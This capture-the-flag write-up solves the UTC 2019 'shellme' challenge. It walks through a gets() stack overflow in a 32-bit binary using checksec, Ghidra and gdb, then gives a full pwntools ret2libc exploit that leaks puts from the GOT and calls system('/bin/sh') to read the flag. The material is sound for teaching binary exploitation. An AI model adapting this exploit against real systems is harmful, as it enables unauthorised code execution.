Utc 2019 shellme

Downloading the binary file


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ chmod +x server

Solution

First let's run pwn checksec on the binary file, and then execute it to see what it does:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ pwn checksec server; ./server
[*] '/home/nothing/binexp/2/shme/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd2a2e0 | 00 00 00 00 00 00 00 00 |
0xffd2a2e8 | 00 00 00 00 00 00 00 00 |
0xffd2a2f0 | 00 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: here is some text

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd2a2e0 | 68 65 72 65 20 69 73 20 |
0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 |
0xffd2a2f0 | 74 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b

We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ ./server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd19e90 | 00 00 00 00 00 00 00 00 |
0xffd19e98 | 00 00 00 00 00 00 00 00 |
0xffd19ea0 | 00 00 00 00 00 00 00 00 |
0xffd19ea8 | 00 00 00 00 00 00 00 00 |
0xffd19eb0 | ff ff ff ff ff ff ff ff |
0xffd19eb8 | ff ff ff ff ff ff ff ff |
0xffd19ec0 | 40 75 ef f7 00 a0 04 08 |
0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd19e90 | 30 30 30 30 30 30 30 30 |
0xffd19e98 | 30 30 30 30 30 30 30 30 |
0xffd19ea0 | 30 30 30 30 30 30 30 30 |
0xffd19ea8 | 30 30 30 30 30 30 30 30 |
0xffd19eb0 | 30 30 30 30 30 30 30 30 |
0xffd19eb8 | 30 30 30 30 30 30 30 30 |
0xffd19ec0 | 30 30 30 30 30 30 30 30 |
0xffd19ec8 | 30 30 30 30 30 30 30 30 |
Return address: 0x30303030

[1]    1782143 segmentation fault (core dumped)  ./server


So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra:

Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code:


undefined4 main(void)

{
  undefined *puVar1;
  
  puVar1 = &stack0x00000004;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  vuln(puVar1);
  return 0;
}

Here we see a function called 'vuln' so let's take a look at it:


void vuln(void)

{
  char local_3c [32];
  undefined local_1c [20];
  
  memset(local_3c,0,0x20);
  memset(local_1c,0xff,0x10);
  init_visualize(local_3c);
  visualize(local_3c);
  printf("Input some text: ");
  gets(local_3c);
  visualize(local_3c);
  return;
}

Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ gdb ./server
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./server...
(No debugging symbols found in ./server)
gef➤  disas vulnm
No symbol table is loaded.  Use the "file" command.
gef➤  disas vuln
Dump of assembler code for function vuln:
   0x080485b1 <+0>:     push   ebp
   0x080485b2 <+1>:     mov    ebp,esp
   0x080485b4 <+3>:     push   ebx
   0x080485b5 <+4>:     sub    esp,0x34
   0x080485b8 <+7>:     call   0x80484c0 <__x86.get_pc_thunk.bx>
   0x080485bd <+12>:    add    ebx,0x1a43
   0x080485c3 <+18>:    sub    esp,0x4
   0x080485c6 <+21>:    push   0x20
   0x080485c8 <+23>:    push   0x0
   0x080485ca <+25>:    lea    eax,[ebp-0x38]
   0x080485cd <+28>:    push   eax
   0x080485ce <+29>:    call   0x8048440 
   0x080485d3 <+34>:    add    esp,0x10
   0x080485d6 <+37>:    sub    esp,0x4
   0x080485d9 <+40>:    push   0x10
   0x080485db <+42>:    push   0xff
   0x080485e0 <+47>:    lea    eax,[ebp-0x18]
   0x080485e3 <+50>:    push   eax
   0x080485e4 <+51>:    call   0x8048440 
   0x080485e9 <+56>:    add    esp,0x10
   0x080485ec <+59>:    sub    esp,0xc
   0x080485ef <+62>:    lea    eax,[ebp-0x38]
   0x080485f2 <+65>:    push   eax
   0x080485f3 <+66>:    call   0x804869e 
   0x080485f8 <+71>:    add    esp,0x10
   0x080485fb <+74>:    sub    esp,0xc
   0x080485fe <+77>:    lea    eax,[ebp-0x38]
   0x08048601 <+80>:    push   eax
   0x08048602 <+81>:    call   0x80486e1 
   0x08048607 <+86>:    add    esp,0x10
   0x0804860a <+89>:    sub    esp,0xc
   0x0804860d <+92>:    lea    eax,[ebx-0x16dd]
   0x08048613 <+98>:    push   eax
   0x08048614 <+99>:    call   0x80483f0 
   0x08048619 <+104>:   add    esp,0x10
   0x0804861c <+107>:   sub    esp,0xc
   0x0804861f <+110>:   lea    eax,[ebp-0x38]
   0x08048622 <+113>:   push   eax
   0x08048623 <+114>:   call   0x8048400 
   0x08048628 <+119>:   add    esp,0x10
   0x0804862b <+122>:   sub    esp,0xc
   0x0804862e <+125>:   lea    eax,[ebp-0x38]
   0x08048631 <+128>:   push   eax
   0x08048632 <+129>:   call   0x80486e1 
   0x08048637 <+134>:   add    esp,0x10
   0x0804863a <+137>:   nop
   0x0804863b <+138>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x0804863e <+141>:   leave
   0x0804863f <+142>:   ret
End of assembler dump.
gef➤  b *vuln+119
Breakpoint 1 at 0x8048628
gef➤  r
Starting program: /home/nothing/binexp/2/shme/server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffffd0a0 | 00 00 00 00 00 00 00 00 |
0xffffd0a8 | 00 00 00 00 00 00 00 00 |
0xffffd0b0 | 00 00 00 00 00 00 00 00 |
0xffffd0b8 | 00 00 00 00 00 00 00 00 |
0xffffd0c0 | ff ff ff ff ff ff ff ff |
0xffffd0c8 | ff ff ff ff ff ff ff ff |
0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 |
0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 13371337

Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0a0  →  "13371337"
$ebx   : 0x0804a000  →  0x08049f0c  →  0x00000001
$ecx   : 0xf7f90540  →  0xfbad208b
$edx   : 0xfbad208b
$esp   : 0xffffd090  →  0xffffd0a0  →  "13371337"
$ebp   : 0xffffd0d8  →  0xffffd0e8  →  0x00000000
$esi   : 0x1
$edi   : 0x08048470  →  <_start+0> xor ebp, ebp
$eip   : 0x08048628  →   add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0xffffd0a0  →  "13371337"    ← $esp
0xffffd094│+0x0004: 0x000000ff
0xffffd098│+0x0008: 0x00000010
0xffffd09c│+0x000c: 0x080485bd  →   add ebx, 0x1a43
0xffffd0a0│+0x0010: "13371337"
0xffffd0a4│+0x0014: "1337"
0xffffd0a8│+0x0018: 0x00000000
0xffffd0ac│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804861f        lea    eax, [ebp-0x38]
    0x8048622        push   eax
    0x8048623        call   0x8048400 
 →  0x8048628        add    esp, 0x10
    0x804862b        sub    esp, 0xc
    0x804862e        lea    eax, [ebp-0x38]
    0x8048631        push   eax
    0x8048632        call   0x80486e1 
    0x8048637        add    esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address:


gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0a0 - 0xffffd0a8  →   "13371337"

gef➤  info frame
Stack level 0, frame at 0xffffd0e0:
 eip = 0x8048628 in vuln; saved eip = 0x804868b
 called by frame at 0xffffd100
 Arglist at 0xffffd0d8, args:
 Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0
 Saved registers:
  ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc

Here we see that our input text is at 0xffffd0a0 and the return address is at 0xffffd0dc So we can easily find the offset from a python3 shell:


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Documents/Github/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(  0xffffd0a0  -  0xffffd0dc  )
'-0x3c'

And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions.


[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ objdump -D server | grep puts
08048410 <puts@plt>:
 8048704:       e8 07 fd ff ff          call   8048410 <puts@plt>
 8048716:       e8 f5 fc ff ff          call   8048410 <puts@plt>
 8048846:       e8 c5 fb ff ff          call   8048410 <puts@plt>
 8048881:       e8 8a fb ff ff          call   8048410 <puts@plt>


[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ vim exploit.py

We're going to make use of guyinatuxedo's 'TheNight' Python library:


import TheNight
from pwn import *


libc = ELF("libc6_2.27-3ubuntu1_i386.so")
target = process("./server")
elf = ELF('server')


payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]

puts = u32(leak0)

libcBase = puts - libc.symbols["puts"]

print "libc base: " + hex(libcBase)

binshOffset = 0x17e0cf

payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)

target.sendline(payload1)

target.interactive()

And when we run it:


[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 00 00 00 00 00 00 00 00 |
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | ff ff ff ff ff ff ff ff |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
Return address:
 0x0804868b

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 30 30 30 30 30 30 30 30 |
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 10 84 04 08 |
Return address:
 0x08048410



libc base: 0xf7d25000
[*] Switching to interactive mode

Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | 00 00 00 00 00 00 00 00 |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | ff ff ff ff ff ff ff ff |
0xffbba548 | 00 00 00 00 30 30 30 30 |
0xffbba550 | 30 30 30 30 18 a0 04 08 |
Return address: 0x0804a018

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 30 30 30 30 |
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
Return address: 0xf7d62200

$ cat flag.txt
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}

And we get the flag!

Title

text


Title

text